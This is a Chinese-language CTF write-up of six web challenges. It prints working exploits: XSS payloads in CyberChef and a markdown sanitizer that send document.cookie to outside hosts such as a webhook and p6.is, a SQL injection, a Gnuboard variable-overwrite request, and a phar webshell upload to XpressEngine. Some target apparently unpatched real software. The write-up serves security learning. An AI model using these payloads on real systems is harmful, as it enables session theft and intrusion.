0x00 Background
上周六打了POSIX make的6个Web CTF challenge(含一个 revenge)
(有一个只是披着web壳子的pwn,所以就不提了),觉得这些题目有复盘的必要 难度中等 思路有趣,故写此文
0x01 Cyberchef
开局一个cyberchef
版本比较新 但是因为他给了一个bot 所以不难猜测应该是个xss,于是 直接github搜issue
https://github.com/gchq/CyberChef/issues/1265
这有一个在scatter chart里面的
因为在<svg>
里面对color这没什么转义 导致可以直接xss
Scatter chart 和Series chart里面都存在
于是直接构造payload 直接打bot就行
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA
然后直接在webhook收米即可
觉得这题很简单 不过是个search题 但是赛后听POSIX说他不知道有未修复的xss 他其实是想让大家挖他发现的0day的(
import requests
payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"
print(payload)
res = requests.post('http://1.230.253.91:8001/report', data = {
'url': payload
}, allow_redirects = False)
print(res.text);
print(res.headers);
这里贴出他的预期payload 污染了构造器然后fetch一个xss
0x02 CyberHeadChef
在比赛中 POSIX就发现了他的题目被非预期了 于是他在bot那里直接ban掉了chart字样
意图让我们不使用 Scatter chart 和Series chart 用他的预期0day
但是他的bot用的是chrome
而chrome浏览器会忽略一些不可见字符 比如%00
所以很轻松就bypass掉了
#recipe=Scatter_cha%00rt
再发送链接给boot
Get flag
0x03 not_e
一道有意思的题目 首先登录 然后有个发表note的功能
可以看到在这里会插入 title content 最后的req.session.login也就是用户名
产生漏洞的地方主要是这里的处理 如果在标题上使用?被替换为空之后 我们就可以注入自己想注入的东西 再将无用的东西注释掉
比如 我们插入
insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);
会变成
insert into posts values ("noteid", "",test"", ?, ?)
在能插入的,test这里替换查flag的sql语句即可 然后注意要满足insert的列数
最后payload
title=?&content=,(select flag from flag),'test[]') -- - //注意这里面的test[]是你自己用户名
成功获得flag
0x04 Gnuboard
我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个非常hardcore的0day,很高兴自己独立审了出来
首先关注这里 把flag写在common.php里 这并不常见,看到这里我几乎可以肯定他并不是让我们rce 可能是文件读取之类的
所以我的策略是关注common.php文件本身和调用common.php的文件
简单看了common.php并没有发现什么很关键的东西
我进行了正则匹配 匹配包含进common.php的文件
最后定位了一个文件 /shop/inicis/instdpay_result.php
我注意到这里有可变变量 那就是可能存在变量覆盖 因为他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可
然后要做的就是观察我们可控点
在这里可以看见 我们要走进代码体首先需要把resultCode设置为0000
并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点
观察我们想要走进catch 得到这个可变变量 而且使用的new Httpclient 来请求网站获取body
所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们服务器的一个页面随便打印出来一个值即可
最终构造payload:
http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://服务器/1.php&a=flag
1.php的内容很容易
<?php
echo "a"
?>
成功获取到flag
0x05 Marked
一个0解题
/new路由跟not_e一样能发一个note
并且这里面会把markdown to html 但是他用了sanitize过滤
所以我们要注意html的解析器 可以在这里看到他使用了node-html-parser
在比赛中我也没了思路 不知道怎么解决
等到后来posix发了一个脚本
https://github.com/posix-lee/jsfuxx
专门用来fuzz一下可以使用的字符来摧毁node-html-parser来bypass html sanitize
最后放上posix的利用脚本
import requests, random
HOST = 'http://1.230.253.91:3000'
s = requests.Session()
res = s.post(HOST + '/login', {
'username': 'posix',
'password': '1337'
})
res = s.post(HOST + '/new', {
'title': 'abcd',
'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' "
})
print(res.text)
0x06 xpressengine
xpressengine是棒子的一个phpcms
看赛后wp posix说在媒体处上传phar来getshell 我们简单跟一下代码
/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php
直接定位file后缀检查
这里看不到黑白名单 可以直接跟进Xestorage::upload
继续跟进validate
在这里我们可以直接看见mimeFilter
在构造方法里面直接加一条打印的查看结果
array (
'black' =>
array (
'pdf' => 'application/pdf',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'3g2' => 'video/3gpp2',
'3gp' => 'video/3gp',
'mp4' => 'video/mp4',
'm4a' => 'audio/x-m4a',
'f4v' => 'video/mp4',
'webm' => 'video/webm',
'aac' => 'audio/x-acc',
'm4u' => 'application/vnd.mpegurl',
'wmv' => 'video/x-ms-wmv',
'au' => 'audio/x-au',
'ac3' => 'audio/ac3',
'flac' => 'audio/x-flac',
'ogg' => 'audio/ogg',
'wma' => 'audio/x-ms-wma',
'ico' =>
array (
0 => 'image/x-icon',
1 => 'image/vnd.microsoft.icon',
),
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/javascript',
),
黑名单里面发现没过滤phar
上传一个phar 的木马
Get flag
hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}
0x07 参考文章
posix的官方解析:https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020